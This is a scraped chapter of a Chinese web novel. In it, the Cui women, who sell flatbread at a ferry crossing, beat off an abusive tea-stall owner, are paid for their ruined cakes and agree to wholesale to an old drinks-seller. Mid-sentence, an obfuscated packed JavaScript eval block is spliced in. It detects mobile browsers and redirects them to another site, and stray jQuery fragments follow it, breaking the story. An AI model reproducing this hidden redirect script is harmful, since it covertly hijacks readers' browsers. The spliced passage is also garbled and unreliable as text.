崔四娘年纪大些,已能听懂话外音,颇有些气愤:“娘,三姐姐,这店主好没道理,我们又没在他家的地界歇息,凭什么跑出来凶人!”
是没道理,但世上没道理的事多了。
崔三娘经历得多,便能按捺下性子,她只冲崔四娘一笑:“就当狗在叫,咱快些将饼卖完,好回家。”
崔四娘气呼呼的点头,崔五娘这下也瞧懂了刚才发生了啥,跳脚道:“要是奶奶在,非骂死他不可。”
“嘘,好汉不吃眼前亏。”崔三娘真怕这俩丫头跑回去惹事,急忙安抚她们。
崔老太太能“舌战群儒”,骂遍天下无敌手,阅历和年纪摆在那,她暂时没那个本事,还是低调为妙。
“臭?不看看自己穿得什么样,和臭要饭的有什么两样?”
崔三娘想低调,奈何现实不允许,见崔家人阴阳怪气的回嘴,刘老爹竟然从茶棚中追出来,指着她们骂。
是可忍孰不可忍,崔三娘再也捺不住火气:“关你什么事!眼红病犯了就去看大夫!”
刘老爹不敢置信的瞪大眼珠,没料到这小丫头口舌竟如此犀利,说得他心堵:“死丫头!”
要说这刘老爹,年轻时也是混不吝的人物,混到了三十多岁,才来这家茶棚入赘,不过他性子混,虽然是入赘,过得却比大老爷还自在,茶棚的原主人王老汉去世后,他俨然成了正牌店主,将王老汉的老妻即自家岳母,还有妻子使唤得团团转。
眼下被崔三娘挖心窝子似的顶了两句,混劲儿上来,竟随手拿起木棒要打人,林氏连忙上去抢棒子,这时茶棚里的王老太太和刘老爹的妻子王氏也赶出来。
王老太太步子蹒跚:“都消消火气,有什么好吵的呢。”
刘老爹脖子一梗:“人家欺负到门上了,还消火?我看您老半截身子入土,是老糊涂了!”
王氏不满丈夫说话的口气,瞪他一眼:“好了,别撒疯,你进去,我来处置。”
“你会处置个屁!呸,黄脸婆!”刘老爹怒目圆瞪,凶神恶煞活像只恶鬼,“男人家处事,有你妇道人家插嘴的道理吗?滚开!”
说罢又扭头看向崔三娘:“你这丫头,今日叫你瞧瞧刘爷的厉害!”
王氏还要阻拦,刘老爹竟然毫不客气杵了她一下,王氏吃痛又无防备,后退两步跌倒在地,她气红了脸,站起来还要去阻止丈夫,身边王老太太急忙将她拦住:“哎,姑爷会处置,咱进屋,进屋。”
说着不由王氏反驳,硬是拖着她进了茶棚。
崔三娘在一边看了个目瞪口呆,第一次遇见和人吵架,对面先对妻子家暴的,她最讨厌家暴男,窝囊又没人性。
“告诉你,刘爷我当年也是响当当的人物,你敢和我叫板,嫌命长了是吧?!”刘老爹怒喝。
他刚才呛岳母打妻子,有故意在崔家几人面前立威的意思,他也根本不将崔家人放在眼里,女人胆子最小,只要随便吓唬吓唬,就会服软。
可崔三娘却冷冷看着他,蹦出一句:“当年?窝囊废才整天将当年挂在嘴上,能理解,毕竟窝囊废现在过得窝囊,只能吹嘘当年!”
刘老爹快气晕了,他从未见过这样能气人的丫头,气急败坏,挥气木棍就要打。
崔三娘他们也一直提防着刘老爹动手,见他挥舞木棍,都一齐往后退,崔四娘崔五娘更是将手里攥着的尘土朝他眼睛撒去,大量的土尘混着砂砾,刘老爹猝不及防,眼睛顿时像针扎似的疼痛。
林氏动作迅速,将空竹篮猛地套在刘老爹头上。
崔三娘借机抢过刘老爹的木棒,先一棒子狠敲在他后膝上,将这老混子打跪在地,原主从小做农活,力气就是大,崔三娘又猛的一棍子,直接把刘老爹打得嗷嗷叫。
不过他叫唤的声音传不了多远,因为崔家母女几个一边打人,一边同时放声大嚎起来。
“救命啊,救命啊,打人了。”
“欺负弱小,好不要脸啊,救命啊,要出人命了。”
四人的嗓音都尖,嚎的那叫一个凄惨,不一会就吸引了渡口附近、茶棚里的人来围观。
这棵树恰好在院墙后,是视线死角,除了当事人谁也没瞧见经过,可一看刘老爹狰狞的嘴脸,再想他一惯的为人,众人纷纷开口劝解。
“刘店家,人家辛辛苦苦卖饼不容易,你何苦欺负人家。”
“就是啊,你瞧瞧,这木棍都被你打断了。”
这时候那卖水饮的老太太挤出人群,将崔三娘等人扶起来,指着坐在地上嚎叫腿疼眼睛疼的刘老爹:“装什么装,起来吧,我和你对门做了几十年生意,我还不知道你的德行!呸,脚底流脓的家伙,你把人家的饼全打翻了,赶紧赔钱!”
酱香饼还剩下十多个,方才着急揍人,是崔三娘自己不小心掀翻的,听水饮婆婆这样说,她没啃声,只捂着脸装哭。
“不赔,大家伙答应不答应?”水饮婆婆嗓门也不小。
“不答应!”
“人家带孩子卖饼补贴家用,不容易!”
看客们有的只是看热闹起哄,有的是真动了同情心,总之人势喧嚣,刘老爹被唬了个大白脸,别看他刚才面对崔家女眷时气势汹汹,现在活脱脱一只小鹌鹑,扭头冲茶棚方向喊:“娘子,你快来。”
王氏其实一直在暗处瞧看,包括崔家母女是怎么配合,用灰土、竹篮挟制丈夫,又是怎么用木棍狠狠揍他,她全瞧在眼中。
可作为一家人,王氏心里没有一丝心疼,相反,有着说不出的快意。
她甚至恨不得亲自动手。
直到刘老爹喊她,王氏才木着脸走出来,见来了撑腰的,刘老爹忙道:“你们搞错了,是我挨……”
话没说完,王氏却截断了他的话:“好了别说了。”说着满脸歉意的看向崔三娘,“对不住,真对不住,我家这个酒喝多了,爱犯混,你的饼值多少钱,我们认赔。”
崔三娘半点也不心虚,若不是刘老爹挑衅,她那些饼根本不会脏:“五文一个,那里有十二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480622|201713||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个,值六十文钱。”
王氏听罢,从丈夫腰间扯下钱袋,数了六十文给崔三娘。
“散了散了,都散了吧。”
一场闹剧终于结束,崔三娘她们也不想在这里多待,收拾好东西便要往家走,这时候那卖水饮的老婆婆却冲她们招手:“来,到我摊子前喝点水饮,不要钱,我请客。”
崔三娘连忙摇手:“这怎么成,您留着卖钱吧。”
“客气个啥,我的饮子滋味好,来,过来尝尝。”水饮婆婆很是坚持。
闹腾这么一场,的确口焦舌燥,而她们带的一葫芦水早就喝光了,舔舔干燥的嘴唇,崔三娘她们便不再客气,同水饮婆婆走到摊前。
老婆婆自告姓吴,行三,因此大家都叫她吴三婆婆,她年轻时就在渡口卖水饮,如今已有几十年了。
“这叫桂花甜茶,秋日这个卖得最好了。”老婆婆说着舀出四碗饮子。
崔三娘端起粗瓷碗喝了一大口,饮子很甜,还有股桂花的香味,细品之下,还有些薄荷与紫苏叶的味道,算不上特别惊艳,但口焦舌燥之时来上一碗,绝对解渴又舒心。
吴三婆婆笑眯眯的:“好喝吧?”
见崔家几人都嗯声点头,她眼角笑纹愈发的深刻,吴三婆婆左右瞧了瞧,见没有不相干的人在四周,方小声开口:“你们做的那酱香饼,滋味顶好,老婆子我活了这般大岁数,头一次吃那样香的饼。”
第一次来渡口卖饼时,吴三婆婆要了两块,崔三娘还记得:“可惜今天的饼都没了,不能请婆婆你吃。”
“哈哈,不打紧。”吴三婆婆笑笑,“我们有缘,也就不绕弯子说话了,你们做的饼好,不愁卖,但我瞧你们不是每日都来,怪可惜的,你看这样可好,我从你们那里拿货,在此零卖,行不?”
崔三娘一怔:“这……”
吴三婆婆继续开口:“那饼要热乎才暄软,你们卖到后半截饼凉了,只能减价卖,若放在我摊上,能一直保持热乎。”
崔三娘心动了。
实话实讲,她没工夫每日到渡口卖饼,若批发给吴三婆婆,就有了一笔稳定进项。
“这样是挺好。”崔三娘看看吴三婆婆花白的头发,单薄的身板,略有犹疑,“我没别的担忧,只是茶棚那边,见婆婆你卖饼,不知道又要搅出什么事来。”
听得这话,吴三婆婆得意一哼:“担心我被他欺负?这你放心,我能在渡口卖几十年水饮,自有本事,他奈何不了我。”
崔三娘听罢一笑:“那我就安心了。”
双方达成共识,接下来的事情便好办了,双方都是爽快人,三言两语就敲定了合作事宜。
明日卯时末刻,崔家人将饼送到吴三婆婆水饮摊前,饼卖给吴三婆婆是十文三个,她今日先付五十文定钱,明日收饼时再付剩下的银钱以及隔日的定钱
崔三娘算了一笔账,三个饼的成本大概五文钱,按每日三十个饼算,能挣五十文一天,一月下来就是一千多文稳定的进账。